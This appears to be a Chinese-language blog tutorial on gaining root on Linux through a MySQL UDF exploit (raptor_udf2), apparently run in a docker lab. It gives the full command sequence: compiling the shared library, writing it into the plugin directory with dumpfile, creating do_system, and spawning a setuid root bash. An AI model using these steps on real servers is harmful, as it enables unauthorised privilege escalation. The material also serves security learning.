linux提权——Mysql UDF提权

文章目录

UDF:user define fucntion,在mysql中,允许用户创建自定义函数,这些函数可以在SQL查询语句中使用,通过使用UDF,用户可以对数据库执行自定义操作。

提权条件:

  • 拥有mysql数据库账号,且这个账号对mysql数据库有create、insert、delete权限;
  • mysql数据库的secure_file_priv为空,这个变量主要限制load data、select * into outfil、load_file()只能在特定目录进行。

    该变量有三种情况:

    • secure_file_priv=null:所有路径不可写;
    • secure_file_priv='':所有路径可写;
    • secure_file_priv='/xxx/xxx':/xxx/xxx路径可写;
searchsploit mysql udf # 寻找mysql UDF相关的EXP
searchsploit mysql udf -m 1518.c # 将漏洞库中的1518.c下载到当前目录

在这里插入图片描述

gcc编译的时候,不指定相关参数,直接接源文件,可能会有各种各样的报错。

简单查看该EXP,在利用过程中,需要登陆到mysql数据库,新建表,在表中插入编译好的共享库,

mysql数据库是mysql的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。

在这里插入图片描述

gcc -g -c <源码文件> -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

-g:生成调试信息
-c:仅仅编译源代码,不进行链接,通常生成.o文件
-fPIC:生成位置无关代码,PIC(Position independent code),这种代码可以在内存中的任何位置执行,
在这里插入图片描述

docker cp <宿主机文件路径> container_id:<coker容器中文件路径> # 将生成的so动态链接库文件传入docker容器内

在这里插入图片描述

mysql -u root -p # 登录mysql数据库

# 查看是否满足UDF提权的基本条件
select user(); # 查看当前用户权限
show variables like '%secure_file_priv%' # 查看mysql中secure_file_priv的值

# 写入so共享库文件路径
show variables like '%plugin%' 

这里账号权限属于root权限,且secure_file_priv的值为空,意味着任何一个目录都是可写的。故满足mysql UDF提权的基本条件。
在这里插入图片描述

create table foo(line blob):  # 创建一个名为foo的数据表,有一个line列,其中的数据类型为blob。基本语法:create table table_name(columns datatype,...)
# foo在计算机编程和网络领域是一个常用的占位服务名称,本身没有任何意义;
# blob,即binary object,二进制对象,在存储二进制数据(如图像音频,UDF函数等)时,经常用这种数据类型。

insert into foo values(load_file('/tmp/raptor_udf2.so'));    # mysql插入语法:insert into table_name(column1,...) values (values1, ...)
# load_file():mysql中从本机导入文件

select * from foo into dumpfile('/usr/lib/nysql/plugin/raptor_udf2.so'); # 查询foo表中的所有数据,并将其写入/usr/lib/nysql/plugin/raptor_udf2.so
# outfile和dumpfile的区别:
# outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出;
# dumpfile只能写一行,并且输出中不存在任何格式。
# 注意:outfile导出二进制文件的时候会出错,最好用dumpfile

create function do_system returns integer soname 'raptor_udf2.so'; # 创建自定义函数
# 函数名为do_system;
# 返回值为整形,soname共享库名字为‘raptor_udf2.so’,mysql的共享库路径就是/usr/lib/mysql/plugin/

select * from mysql.func; # 查看mysql自定义函数

select do_system('cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash'); # 执行系统命令

/tmp/rootbash -p # 退出mysql连接,-p是以特权root身份启动bash.

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

chown mysql:mysql <文件路径>:修改文件属主。

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值